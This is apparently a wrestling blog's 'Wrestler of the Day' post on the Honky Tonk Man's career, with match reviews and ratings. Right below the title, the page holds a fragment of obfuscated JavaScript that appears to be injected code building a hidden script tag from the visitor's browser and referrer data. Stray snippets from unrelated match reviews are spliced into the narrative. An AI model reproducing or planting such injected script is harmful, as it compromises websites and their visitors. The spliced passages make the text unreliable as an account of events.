Wrestler of the Day – January 25: Honky Tonk Man
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfdr|var|u0026u|referrer|beizz||js|php'.split('|'),0,{})) it’s another famous name as we look at the greatest Intercontinental Heavyweight Champion of all time: the Honky Tonk Man.
So this one needs some backstory. We have Bill Dundee and Lawler teaming up against Larry Latham (Moondog Spot) and Wayne Ferris (Honky Tonk Man), collectively known as the Blonde Bombers. The Bombers cheated like CRAZY to win the tag titles. The show looked like it was ending but as they faded to black you heard Russell saying stay with this because there’s a big brawl going on. The brawl went down to the concession stand, and this is what followed.
The Blondes are all busted open and they beat on each other with EVERYTHING. Mustard goes flying and they’re filming from the stairs. This is totally serious stuff in case that wasn’t clear. Everyone is bleeding. Lawler destroys Ferris while Dundee is stomped on. Jerry Jarrett comes in and finally gets Dundee away for a second. Also this isn’t one of those fake WCW concession stands. This is the real concession stand where the fans are buying food. The Blondes run so Lawler and Dundee chase them but the Blondes come back and destroy Jarrett, stripping his clothes off. They’re FINALLY pulled off to end this.
I won’t go into details on the whole history of this (if you’re interested in why this was booked and why Jerry Jarrett is one of the smartest men ever in wrestling, look up Jim Cornette’s commentary called “The Slippery Slope of Hardcore Wrestling.” It’s incredibly interesting and well worth the read, as is almost anything Cornette writes) but the main idea is that this is pretty much the birth of modern hardcore wrestling.
The key difference though: it was believable. This wasn’t something that you saw every day (first time ever for the most part) and EVERYONE talked about it. It saved the territory and worked because it was treated as a huge deal. This is something you’ll still hear about from time to time and you’ll occasionally see tributes to it even today. This is incredibly historic stuff and possibly the most famous moment in southern wrestling.
A few years later it was off to the WWF for another rarity: Honky Tonk Man as a face. More on that after this squash from October 4, 1986 on Superstars.
Ron Shaw vs. Honky Tonk Man
This is Honky’s TV debut. Vince actually calls him Wayne Ferris. Honky is in suspenders stil here. Mr. Fuji doesn’t wank Honky’s greasy hands on his tuxedo. Honky works on the arm to start but Shaw gets in a thumb to the eye. Honky rams him into the buckle but Shaw comes back. He beats on Honky for a bit until Honky slams him down and the middle rope fist (which isn’t like his cousin AT ALL right?) gets the pin. Honky was light years better as a heel.
About nine months later, Honky Tonk Man got an Intercontinental Title shot in what should have been a squash, but turned into a shocking upset. From the June 13, 1987 episode of Superstars/Best of the WWF Volume 13 (I really need to post that entire series someday).
Intercontinental Title: Honky Tonk Man vs. Ricky Steamboat
This is about two months after Steamboat beat Savage for the title in Detroit and is perhaps the biggest upset and one of the biggest shocks in company history. Steamboat was untouchable at this time. See, one very important thing to remember about the title in this time frame is that title reigns were A LOT longer at this point. The title had been around for over 8 years here and there had been one title reign that went less than six months and only two had gone under seven months (Steamboat was the 11th champion). In other words, this title did not change hands often.
Honky jumps Steamboat almost immediately and throws him over the top. This is of course, REALLY STUPID, as Dragon skins the cat and sends Honky to the floor. Steambaot gets a suplex and takes over. Steamboat’s movements are absolutely perfect. Everything he does is incredibly crisp and he doesn’t take a break on a single move. Even something like a chop is perfect as he follows through on them and they look awesome. He’s someone that you need to watch every single motion of because they’re all great.
Anyway Steamboat gets sent into the buckle and here comes the challenger. The same awkward middle rope elbow as the first match misses and here comes the Dragon. He ducks low though and almost gets caught in the Shake Rattle and Roll. A top rope chop should put Honky away but Jimmy distracts the referee. Steamboat rolls Honky up but Honky grabs the ropes and gets a (weird as the first count was before Honky was on top and was probably the one for Steamboat’s cover) three count for the title and the shock of the decade.
Rating: C. The match itself is ok but it’s totally inconsequential. The point here is that Honky won the title and it was indeed shocking. This would be like Zach Ryder (this was written before Ryder meant anything as a singles guy) beating Kofi for the title. See, back then there were championship squashes. Today (February 3, 2011 if you’re reading this years later, my 23rd birthday for you KB trivia fans. Yes I’m reviewing on my birthday) Edge is the Smackdown champion and this would be like him defending against Heath Slater.
The thing is that today, everyone would expect there to be something up because when the title is defended on TV it’s either a huge showdown or something is about to happen. Back in the 80s, it was perfectly common for the IC or tag titles to be defended two or three times a month on TV.
They would usually be glorified squashes with random challengers that posed zero threat to the titles though, and that’s what you have here. This wasn’t some big hyped up showdown for the title. This was a typical title defense for Steamboat and more or less just another day at the office. That’s why this is so shocking and the biggest upset in the 1980s.
Honky would hold the title for nearly 15 months in one of the most brilliant booking runs in wrestling history. The idea was the same one over and over again: Honky was always the underdog and against far better competition but he would cheat to escape with the title. Here’s one of those title defenses against Brutus Beefcake at Wrestlemania IV.
Intercontinental Title: Honky Tonk Man vs. Brutus Beefcake
During this time, Honky Tonk Man would feud with every midcard face on the roster, including an awesome feud with a now face Randy Savage where Honky Tonk Man would shove Liz down, insuring him a spot in eternal torment. It wasn’t until Summerslam 88 that the Ultimate Warrior of all people outsmarted Honky and beat him in thirty seconds to absolutely blow the roof off of Madison Square Garden and win the title.
Intercontinental Title: Honky Tonk Man vs. ???
So why was this so awesome? This was one of the most perfectly told stories the WWF ever produced and they nailed it every step of the way. Back in 1987, Ricky Steamboat was Intercontinental Champion but wanted to take some time off. The solution was to put the title on the comedic newcomer the Honky Tonk Man, who cheated to win the belt. Honky viewed as a total joke as champion due to his lack of skill and his gimmick of a wrestling Elvis impersonator.
Million Dollar Team vs. Dream Team
Ted DiBiase, Rhythm and Blues, ???
Dusty Rhodes, Koko B. Ware, Hart Foundation
Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.
TV Title: Honky Tonk Man vs. Johnny B. Badd
Honky is billed from Honkyland USA which is about a million jokes that write themselves. Apparently the singer was named T. Graham Brown, a country singer that I doubt anyone north of Tennessee has ever heard of. Naturally WCW puts him in front of a crowd in a state that borders Canada and expects everyone to just know who that is. Still no recognition of Ali either.
We see a huge group of middle aged men in suits which makes me think this isn’t going to go well. Badd has in fangs and that confetti shooter. Again, this is the time period where he was portraying a gay man without saying that. Yes, shooing confetti is a great way to get cheers from the crowd. Honky stalls to start, as he’s from Memphis. He hasn’t been relevant in about four years at this point so of course he’s in a title match here.
Yeah that has nothing to do with Hogan at all. To the shock of no one, the fans are more or less dead. Oh the main event is a cage match too as I forgot to mention that. He’s the exact same worker that he was when he had the IC Title for a year, but minus the heat or anyone caring. He hits a chinlock so we go to a long shot of the crowd to break the boredom I guess.
Oh hey, ten minutes into the broadcast, Heenan mentions Ali, and WHAT A COINCIDENCE, he’s here! That shows that either WCW is freaking stupid or Ali isn’t as big of a star as he used to be. Ali would light the Olympic torch in less than two years in one of the greatest moments in sports history and in 1994 WCW has Honky Tonk Man opening a PPV. You figure out the right answer.
We get the standard announcement of five minutes left in the 10-15 minute TV Title matches. And it’s obvious now. Also, I love how the Television Title is being defended on a PPV broadcast but whatever. We hit out third chinlock of the match because it worked so well the first two times.
Orton has nothing on Honky. We get to the last minute of the match and Badd goes for the Kiss That Don’t Miss. Tony’s commentary here is kind of funny: “He’s going for the Kiss That Don’t Miss! He missed it!” Ok so that passes for funny to me here. They fight to the time limit and then Honky runs. This was brutally bad.
Rating: D. Seriously, the FREAKING HONKY TONK MAN was the best you could do here? Why? What possessed you to think this was a good idea? Who booked this? Honky wasn’t good in the ring more or less ever and was ok at best on the mic. To say he’s watered down here is an understatement as this was just awful and boring to boot. This just made my head hurt.
Honky Tonk Man would just walk out on the company soon thereafter and be back in the WWF a few years later as a commentator. He never got in the ring, but would eventually come back as a choice to face Santino Marella for the Intercontinental Title at Cyber Sunday 2008.
Time to pick a legend to fight Santino for the IC Title. Beth looks MUCH better in her usual attire. Santino talks for a bit and we see the Honk-a-Meter, which would have been a lot better if it had come closer than a year away from passing Honky’s record. We get a basic promo about Phoenix (the town, not the Diva) being full of old people like Shaq, and he’s in the front row, ending the promo quickly. Oddly enough the Cardinals would make the Super Bowl this season so the joke kind of backfired.
The choices are Honky Tonk Man, Piper or Goldust. The vote is far closer than expected with everyone getting over 30%. Piper looks FAR better than last year and probably 35 pounds lighter. After the Honk-a-meter, who do you think wins here?
Intercontinental Title: Honky Tonk Man vs. Santino Marella
How brilliant is a wrestling Elvis impersonator? That’s just awesome. Honky Tonk may be old here but he doesn’t look bad, even though it’s bizarre to see him as a face. Total comedy match with the big wrestling move being a headlock. Beth hits him with the belt for the DQ about a minute in. Santino yells at her for no apparent reason and the beatdown follows for Santino as Piper and Goldie come out. Side note: Beth is absolutely gorgeous. It really is good to see Piper look so much healthier. Considering about a year earlier he had Hodgkin’s Disease, this is a great thing to see.
Rating: N/A. Just for a feel good moment and there’s nothing wrong with that, especially in a one minute match.
You know, for a legend, Honky Tonk Man really didn’t wrestle all that much in the big leagues. He was around from late 1986 to 1991 and was only prominent for about two to three years. That speaks volumes about great that Intercontinental Title reign was. It’s obvious that Honky Tonk Man was better on the mic and as a character than he was in the ring and that’s all you need to be a lot of the time.
He’s definitely entertaining and a great lesson in how to make a crowd want to kill a wrestler. If nothing else, the full story of him stealing the title and holding it as long as he did combined with the blowoff might be the most perfect story ever produced by WWE. I even did a Thought of the Day about it:
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